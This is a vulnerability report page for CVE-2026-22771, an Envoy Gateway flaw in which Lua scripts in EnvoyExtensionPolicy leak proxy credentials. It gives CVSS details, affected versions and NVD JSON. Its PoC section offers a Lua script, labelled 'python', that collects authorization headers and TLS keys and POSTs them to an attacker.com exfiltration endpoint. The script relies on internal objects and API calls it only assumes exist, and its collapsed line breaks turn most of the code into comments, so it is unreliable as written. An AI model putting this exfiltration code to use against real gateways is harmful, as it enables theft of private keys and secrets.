Security Vulnerability Report
中文
CVE-2026-22771 CVSS 8.8 HIGH

CVE-2026-22771

Published: 2026-01-12 19:16:03
Last Modified: 2026-02-05 21:04:50

Description

Envoy Gateway is an open source project for managing Envoy Proxy as a standalone or Kubernetes-based application gateway. Prior to 1.5.7 and 1.6.2, EnvoyExtensionPolicy Lua scripts executed by Envoy proxy can be used to leak the proxy's credentials. These credentials can then be used to communicate with the control plane and gain access to all secrets that are used by Envoy proxy, e.g. TLS private keys and credentials used for downstream and upstream communication. This vulnerability is fixed in 1.5.7 and 1.6.2.

CVSS Details

CVSS Score
8.8
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:envoyproxy:gateway:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:envoyproxy:gateway:*:*:*:*:*:*:*:* - VULNERABLE
Envoy Gateway < 1.5.7
Envoy Gateway >= 1.6.0 and < 1.6.2

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
-- CVE-2026-22771 PoC - Envoy Gateway Lua Script Credential Leak -- This PoC demonstrates how Lua scripts in EnvoyExtensionPolicy can leak credentials -- Step 1: Access Envoy internal objects to retrieve credentials local function leak_credentials() local credentials = {} -- Attempt to access internal credential store -- In vulnerable versions, this may expose sensitive data local internal = debug.getregistry() -- Try to access Envoy's credential object if internal and internal.EnvoyCredentials then credentials = internal.EnvoyCredentials end -- Alternative method: Access through request metadata local headers = request:headers() if headers then -- Try to extract authorization headers or tokens local auth = headers:get("authorization") if auth then credentials.authorization = auth end end -- Access connection credentials local connection = request:connection() if connection then -- Try to extract TLS certificates or mTLS credentials local ssl_info = connection:ssl() if ssl_info then credentials.ssl_cert = ssl_info:cert() credentials.ssl_key = ssl_info:private_key() end end return credentials end -- Step 2: Exfiltrate credentials (in real attack, this would be sent to C2) local function exfiltrate(creds) -- Encode credentials for transmission local payload = cjson.encode(creds) -- Send to attacker-controlled endpoint local http = require("socket.http") local ltn12 = require("ltn12") local response = {} http.request{ url = "https://attacker.com/exfil", method = "POST", headers = { ["Content-Type"] = "application/json", ["Content-Length"] = tostring(#payload) }, source = ltn12.source.string(payload), sink = ltn12.sink.table(response) } end -- Main execution local creds = leak_credentials() if next(creds) then exfiltrate(creds) end

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-22771", "sourceIdentifier": "[email protected]", "published": "2026-01-12T19:16:03.470", "lastModified": "2026-02-05T21:04:49.683", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Envoy Gateway is an open source project for managing Envoy Proxy as a standalone or Kubernetes-based application gateway. Prior to 1.5.7 and 1.6.2, EnvoyExtensionPolicy Lua scripts executed by Envoy proxy can be used to leak the proxy's credentials. These credentials can then be used to communicate with the control plane and gain access to all secrets that are used by Envoy proxy, e.g. TLS private keys and credentials used for downstream and upstream communication. This vulnerability is fixed in 1.5.7 and 1.6.2."}, {"lang": "es", "value": "Envoy Gateway es un proyecto de código abierto para gestionar Envoy Proxy como una pasarela de aplicaciones independiente o basada en Kubernetes. Antes de las versiones 1.5.7 y 1.6.2, los scripts Lua de EnvoyExtensionPolicy ejecutados por el proxy Envoy pueden ser utilizados para filtrar las credenciales del proxy. Estas credenciales pueden entonces ser utilizadas para comunicarse con el plano de control y obtener acceso a todos los secretos que son utilizados por el proxy Envoy, por ejemplo, claves privadas TLS y credenciales utilizadas para la comunicación descendente y ascendente. Esta vulnerabilidad está corregida en las versiones 1.5.7 y 1.6.2."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 8.8, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-94"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:envoyproxy:gateway:*:*:*:*:*:*:*:*", "versionEndExcluding": "1.5.7", "matchCriteriaId": "E2A97BD9-F262-4D47-8C04-D4470FB7814A"}, {"vulnerable": true, "criteria": "cpe:2.3:a:envoyproxy:gateway:*:*:*:*:*:*:*:*", "versionStartIncluding": "1.6.0", "versionEndExcluding": "1.6.2", "matchCriteriaId": "F023F702-BA4E-4DD9-B7EE-31F221F632E0"}]}]}], "references": [{"url": "https://github.com/envoyproxy/gateway/security/advisories/GHSA-xrwg-mqj6-6m22", "source": "[email protected]", "tags": ["Exploit", "Vendor Advisory", "Mitigation"]}]}}